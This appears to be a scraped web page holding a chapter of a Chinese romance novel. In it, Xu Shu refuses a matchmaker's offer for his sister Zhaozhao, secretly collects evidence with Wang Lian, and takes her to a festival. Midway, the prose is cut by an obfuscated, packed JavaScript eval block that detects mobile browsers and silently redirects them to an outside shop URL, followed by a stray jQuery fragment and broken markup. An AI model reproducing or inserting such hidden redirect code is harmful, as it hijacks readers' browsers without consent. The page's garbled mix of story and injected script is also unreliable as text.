穿金戴银的媒婆捻着手绢,眼里闪烁着市侩的精明。
她似乎认为这桩亲事是板上钉钉的好事,因而未察觉到徐疏眉宇间的异样,不断夸赞道:“徐先生,世子何等尊贵,其父乃当朝丞相,权倾朝野。令妹即使是做个妾,那也是享不尽的荣华富贵,吃不尽的山珍海味,穿不尽的绫罗绸缎,听............”
“够了。”
徐疏打断了她。
媒婆被吓得一抖,就见这外传言性情温柔天人之姿的徐先生,此刻看着她的目光令人心生寒意。
他冷声道:“这件事我会亲自和世子说明,还请你现在离开。”
媒婆抚了抚胸口,捏着帕子咳了咳,脸上的肉颤颤巍巍地抖。
她不死心道:“徐先生,你可是在那丞相底下做事呢,这样拒了,不光是断了令妹的姻缘,更是阻碍你的大好前程。”
见对方不说话,媒婆以为还有希望,身子不由自主凑近几分。
“徐先生,你也是个聪明的,男人嘛,后院怎么可能只有一个女人呢?而且令妹给世子吹吹枕边风,说不定还能给你捞到一官半职......”
徐疏的眼神越发凌厉,媒婆的声音渐渐小了下去,颤抖着唇,最后只得无奈地起身离开。
精美的绸缎被她肥胖的身躯撑开,厚重的脂粉黏腻地挂在脸上。
媒婆边走边用手绢擦拭额头的冷汗,没好气地啐了一声,嘀咕道:“哼,神气什么!世子的门可不是随便什么人都能进的。”
又骂了几声,当她穿过一扇门时,猝不及防和门边的人影对上了眼,喉咙里的脏话顿时卡住。
夕阳的余晖洒满天际,金粉色的光芒映照着绿色的藤萝,它们顺着墙壁攀爬,枝叶垂挂,显得分外宁静。
墙边的姑娘看上去不过十几岁,穿着淡青色的衣裙,五官精致,像画里走出来似的。
尤其是那双眼睛生的好看,黑白分明,清澈明亮。
媒婆一眼就认出了她,心中计较着如何再次开口。
她换上一副亲切的笑容,试探着问道:“你就是徐先生的妹妹吧?”
招招疑惑地看着她,“有事?”
媒婆趁机走上前,热情地握住她的手,“哎哟,我刚才还和你兄长谈起你的婚事呢!世子殿下可是说了,只要你点头,他立马给你兄长安排个好差事,这可是天大的好事啊!”
招招被媒婆粗糙的手握得有些生疼,却无法挣脱。
见状,媒婆又加了一把火:“你们兄妹俩相依为命,你也得为你兄长的前程着想啊!”
正说着,媒婆眼角余光瞥见有人靠近,立刻松开手,匆忙丢下一句:“你好好想想吧。”
然后像一阵风似的溜走了。
徐疏赶到时,见招招独自站在那里,双手紧握,一言不发。
不用想也知道媒婆对她说了什么,他走上前,却发现招招直接后退一步。
她低垂着头,声音带着些许颤抖:“哥,你真的要把我嫁给世子吗?”
徐疏轻叹,轻轻抬起她的脸,毫不意外看见一张委屈的脸。
他温柔地问道:“招招,你相信我吗?”
招招瘪着嘴,眼泪扑簌落下。
她点点头。
徐疏心疼极了,抱着她拍了拍背,安抚道:“我不会让你嫁给他的。”
为了转移招招的注意力,他换了个话题:“明天就是春水节了,你想不想出去玩?”
招招的眼中闪过一丝期待,“想。”
“那明日我们一起去。”
“你不是很忙吗?”她的声音闷闷地。
徐疏轻笑,将她脸颊湿润的发丝拨开,“再忙也要陪招招啊,好了,别哭了,回去好好睡一觉,不然明日眼睛肿了可看不清路。”
此时,小厮领着一个人从前院走来。
徐疏看到来人后,眼中的笑意渐渐消失。
招招也认出了来人,正是天香楼的老板王连。
自从搬到此地后,王连与她们就没怎么见过面了。
近几日每次见面,徐疏的表情都不太好看,招招也不知道是为什么。
“我先回去休息了。”招招说道。
徐疏努力挤出一丝笑容,“好,去吧。”
招招离开后,徐疏带着王连走进了书房。
关上门后,王连的表情变得凝重起来,他开门见山地说:“有线索了。”
徐疏的手一抖,茶水泼在了桌面上。
他也没了心思,放下茶壶,心跳如鼓。
“确认是他?”
王连肯定地点点头,脸色铁青,“没错,就是他。我真是瞎了眼,以前还以为他是个清正廉明的人,没想到他如此狼心狗肺!”
他压抑着怒火,气的全身发抖,每个字都是从齿缝挤出。
徐疏虽然早有心理准备,但得到这个结果时还是感到一阵心寒。
他安慰王连道:“王叔,您辛苦了。”
王连摆摆手,略显苍老的面容带着深深的疲惫。
“还好你机灵,否则就叫他将这件事翻篇了!”他话音一转,“就是..这证据该如何查找?你可有头绪?”
烛光在徐疏脸上摇曳生姿,他沉声道:“那些书信,还有人留着。”
“谁?”王连急切地问。
徐疏说了一个名字,王连点点头,“那我现在就去派人拿来。”
徐疏却叫住了他,“等等。”
王连停下脚步,回头。
徐疏背着光,轻声道:“王叔,多谢了。”
王连愣住,眼角颤了一下。
他颔首,转身便走。
第二日,徐疏早早起身,精心挑选衣物,反复更换,却突然被丞相府的人急匆匆叫走。
几个时辰过去,当他终于得以脱身时,却在路上偶遇了世子。
他好奇地打量着徐疏,挑眉问道:“徐先生今日有喜事?”
徐疏心里着急,没空应付,含糊其辞地应付了几句,便匆忙离去。
回到府上,一问才知道,招招自己出门了。
身边也没带丫头。
徐疏来到大街上,漫无目的地穿梭在熙熙攘攘的人群中,目光四处搜寻着招招的身影。
沿途他看到许多年轻男女携手游湖,女子头上戴着美丽的花饰。
徐疏心中一动,下意识走到卖花摊位前。
目光在摊位上游移,忽然,他看向某个位置,伸出了手。
与此同时,另一只手也从旁边伸了出来。
转头看去,徐疏回想片刻,忆起这就是那位蒋小姐了。
“徐先生?你也来买花?”蒋小姐惊讶地问道。
徐疏点头,“嗯,给招招买的。”
却听蒋小姐轻笑一声,看见徐疏不解的眼神,解释道:“这花都是男子买给心上人的,招招是你妹妹,这花应该由她的心上人来买才更合适呢。”
徐疏怔住,手上这只花拿着不是,不拿心里又不舒服。
这时,蒋小姐笑着提议道:“不如你把这朵花给我,我代你送给招招吧。同性之间送花就没有那么多规矩了。”
说着,她已伸出手。
徐疏还未反应过来,花便已被蒋小姐拿在了手中。
她细细端详了几眼,又轻嗅了一下,“这是栀子花,味道清香,真好闻。”
徐疏却突然感到如芒在背,他猛然转身。
招招就站在二人身后不远处,呆呆地看着蒋小姐手里那朵花,糖葫芦直接掉在了地上。
目光闪动,招招连忙蹲下去捡,却被一只手轻握住了手臂。
她抬头,对上徐疏那双清冷的眼眸。
他带着温柔的笑,说道:“我给你买新的。”
随即拉起她,向前走去。
徐疏高大的身影为招招挡住了部分人群的拥挤,他刻意放缓了脚步,以便招招能跟上。
“今天出去玩什么了?”徐疏问道。
招招低头,声音里带着一丝不易察觉的失落,“踩石子,摘荷叶,看游船,吃糖葫芦.....”
徐疏捕捉到了关键词,“看游船?没去坐坐吗?”
招招轻轻摇头,“人太多了,我也没带那么多银子。”
徐疏喊住卖糖葫芦的摊贩,买了两根糖葫芦放进招招手心,“拿着吃,现在带你去游船。”
招招啃了口糖葫芦,甜滋滋的味道化解了几分难过,她好奇问道:“现在去吗?”
“自然。”
徐疏轻笑,牵着她穿过密集的人群。
花香在身边流转,衣服上,头发上都沾染着香气。
招招仰着头,看着青年清晰的下颌线。
他察觉到视线,低头与她相对,目光清冽,“怎么了?”
招招眨了眨眼睛,“阿疏哥哥,你瘦了。”
温柔从眼底化开,徐疏摸了摸她毛绒绒的额发,轻声道:“招招长高了。”
“有吗?”
他点点头,在胸前比了一下,“招招现在已经到这儿了。”
招招笑了一下,连着咬了两颗糖葫芦,咔嚓咔嚓几下,将脸颊吃的鼓鼓的。
湖面波光粼粼,船只往来穿梭,热闹非凡。
徐疏租了一条船,两人坐定后,招招便迫不及待地趴在船边,望着水中的倒影。
微风徐徐,招招的思绪飘忽,想起以前。
小时候最大的烦恼就是今天有没有饭吃,或者是,这个月能不能吃到一次糖葫芦,或者枣泥糕。
搬到这里后,吃不饱饭的日子已经过去了很久很久,糖葫芦她想吃多少就吃多少。
但是距离天香楼已经很远,她也不能吃到记忆中枣泥糕的味道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212481|131908||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
徐疏一日比一日忙,偶尔回来的晚了,招招还能从他身上闻到酒气。
招招长大了,有些东西她都懂。
近些日子,出去玩总会被附近的人拉着打听,问他是否娶妻。
招招刚开始还好声好气地解释,到后来心里烦闷,便话也不说就跑开了。
那日她被一个恼羞成怒的大婶指着鼻子骂,说自己在破坏兄长的姻缘,是丧良心的事,会糟天谴。
她才一时愣住,差点被惊马踢伤。
后来她一直在想,阿疏哥哥总是要娶妻生子的,他不可能只是自己的哥哥,以后还会成为别人的丈夫,孩子的父亲。
那个时候....她在哪儿呢?
她现在也到了该谈婚论嫁的年纪了,她是不是也要找个人嫁了,才不会遭天谴呢?
水面上出现了一张俊美的脸,目光落在招招水面上的倒影,“在想什么?”
招招看着自己和他并排的模样,心脏忽然重重跳了两下。
她飞快从船边离开,坐回船中间。
见她逃离,徐疏顺势倚靠在船舷上,静静打量着她,眼神微变,突然道:“招招,你的脸怎么这么红?”
“啊?”
招招愣愣地摸着脸,感受到脸颊上的热度,慌张道:“我...我是热的!太热了!”
说着她假意用手扇了扇风。
暮色渐浓,水里点上了灯。
她指着灯提议:“我们去放河灯吧!”
流水迢迢,徐疏买了两个河灯,递给招招一盏。
她连忙接过,眼神闪烁,避开与他对视。
徐疏拉起招招的手,牵着她往河边走去。
招招腿脚僵硬跟在身后,悄悄抬头,谁知他突然转头,逮住了她偷看的眼神。
灯火煌煌,招招眼珠亮晶晶的,雪白的脸上红成两团。
徐疏弯着眼睛,内心柔软,不再逗她,找了个人少的位置和她蹲下。
“就在这里放吧。”
柳枝在水面飘荡,一盏接着一盏的河灯从水流上方飘下来,汇聚成璀璨的星河。
招招小心翼翼地将河灯放进水中,看着自己的河灯和徐疏的河灯静静依靠着飘远。
“哎呀,忘记许愿了。”
招招小声道,语气中带着一丝懊恼。
“现在许也不迟。”
徐疏合拢手掌,笑着对她说,随后缓缓闭上了眼。
柔和明亮的水纹倒映在他轮廓分明的脸上,徐疏今日难得打扮,相比往日,看上去多了几分不可接近的冷淡。
睫毛轻颤,徐疏闭着眼,嘴角突然弯起。
“招招,你不要看我了。”
招招浑身一僵,迅速扭过头去,嘴硬道:“谁看你了!”
但是脸却烫的要命。
徐疏睁开眼睛,撑着下巴看她,“没看没看,那你赶紧许愿吧。”
招招抿着唇,在他期待的目光中闭上眼睛。
许完愿,徐疏问道:“你许的什么愿望?”
招招起身就走,“我才不告诉你。”
暗蓝的天空下,一大一小两个身影并肩走着,小的有时候快走几步,很快就会被大的不经意追上去。
“真不说?”
“你先说。”招招仰着头道。
徐疏故作深沉,握拳轻抵下巴,轻咳两声,假装没听见。
招招追了上去,却见他脚步一顿,“你怎么.....”
招招好奇地从他身后探出头,只见一辆马车静静停在家门口,旁边站着一位熟悉的面孔,神色凝重。
王连披着灰色的斗篷,发丝灰白,他怀中抱着一物,看向徐疏。
他们进书房后,招招不想回房,便坐在外面看月亮,看着看着就打了个哈切。
书房内灯火依旧,她撑着下巴,眼皮渐渐合上。
不知过了多久,书房门轻轻吱呀一声打开,王连走了出来。
望向熟睡的招招,他目光中闪过一丝复杂,叹了口气,随后匆匆离去。
招招醒来时,发现自己正安稳地趴在徐疏的背上。
她揉了揉惺忪的睡眼,问道:“聊完了?”
“嗯,怎么不回屋睡?”
招招伸了个懒腰,嘟囔道:“看他很着急的样子,以为有什么大事。”
察觉到徐疏停顿的脚步,她精神一振,“真的出事了?”
“没有......”
“我不相信。”
“招招。”
他轻声唤道,声音里带着前所未有的认真。
“嗯?”招招疑惑地应了一声。
“你...想不想嫁人?”
随着他的话语落下,招招脸上多了一点冰凉的液体。
她仰起头,看着逐渐密集的雨幕。
啊,原来是下雨了啊。